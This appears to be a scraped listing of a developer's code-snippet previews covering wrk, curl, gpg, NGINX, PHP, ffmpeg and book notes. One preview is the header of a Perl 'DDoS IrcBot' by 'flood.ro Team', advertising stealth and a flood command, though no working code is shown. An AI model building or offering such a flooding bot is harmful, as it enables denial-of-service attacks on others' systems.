David Garcia DavidGarciaCat

wrk

wrk is a modern HTTP benchmarking tool capable of generating significant load when run on a single multi-core CPU. It combines a multithreaded design with scalable event notification systems such as epoll and kqueue.

Basic Usage

wrk -t12 -c400 -d30s http://127.0.0.1:8080/index.html

FWIW: I didn't produce the content presented here (the outline from Edmond Lau's book). I've just copy-pasted it from somewhere over the Internet, but I cannot remember what exactly the original source is. I was also not able to find the author's name, so I cannot give him/her the proper credits.

Effective Engineer - Notes

By Edmond Lau
Highly Recommended 👍
http://www.theeffectiveengineer.com/

What's an Effective Engineer?

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

	#!/usr/bin/perl

	######################################################################################################################
	######################################################################################################################
	## DDoS Perl IrcBot v1.0 / 2017 by flood.ro Team ## [ Help ] ###########################################
	## Stealth MultiFunctional IrcBot writen in Perl #######################################################
	## Teste on every system with PERL instlled ## !u @system ##
	## ## !u @version ##
	## This is a free program used on your own risk. ## !u @channel ##
	## Created for educational purpose only. ## !u @flood ##

	<!DOCTYPE html>
	<html>
	<head>
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<style>
	body {
	font-family: Arial, Helvetica, sans-serif;
	}

	.flip-card {

	# Generate a new pgp key: (better to use gpg2 instead of gpg in all below commands)
	gpg --gen-key
	# maybe you need some random work in your OS to generate a key. so run this command: `find ./* /home/username -type d \| xargs grep some_random_string > /dev/null`

	# check current keys:
	gpg --list-secret-keys --keyid-format LONG

	# See your gpg public key:
	gpg --armor --export YOUR_KEY_ID
	# YOUR_KEY_ID is the hash in front of `sec` in previous command. (for example sec 4096R/234FAA343232333 => key id is: 234FAA343232333)

	<?php

	class County
	{
	/**
	* @ORM\Id
	* @ORM\GeneratedValue(strategy="AUTO")
	* @ORM\Column(type="integer")
	*/
	private $id;

	# Advanced config for NGINX
	server_tokens off;
	add_header X-XSS-Protection "1; mode=block";
	add_header X-Content-Type-Options nosniff;

	# Redirect all HTTP traffic to HTTPS
	server {
	listen 80;
	server_name www.domain.com domain.com;
	return 301 https://$host$request_uri;

	<?php

	namespace AppBundle\Entity;

	class User extends BaseUser
	{
	// properties, getters and setters
	}

	# Installation
	brew install ffmpeg --with-vpx --with-vorbis --with-libvorbis --with-vpx --with-vorbis --with-theora --with-libogg --with-libvorbis --with-gpl --with-version3 --with-nonfree --with-postproc --with-libaacplus --with-libass --with-libcelt --with-libfaac --with-libfdk-aac --with-libfreetype --with-libmp3lame --with-libopencore-amrnb --with-libopencore-amrwb --with-libopenjpeg --with-openssl --with-libopus --with-libschroedinger --with-libspeex --with-libtheora --with-libvo-aacenc --with-libvorbis --with-libvpx --with-libx264 --with-libxvid

	# Easy Peasy
	ffmpeg -i video.mp4 video.webm

	# FFMPEG convert video with multiple audio streams
	# https://video.stackexchange.com/questions/12051/ffmpeg-convert-video-with-multiple-audio-streams
	ffmpeg -i "The Bunker.avi" -map 0:0 -map 0:1 -map 0:2 -vcodec h264 -acodec:0 mp3 -acodec:1 mp3 TheBunkerNwMix.mp4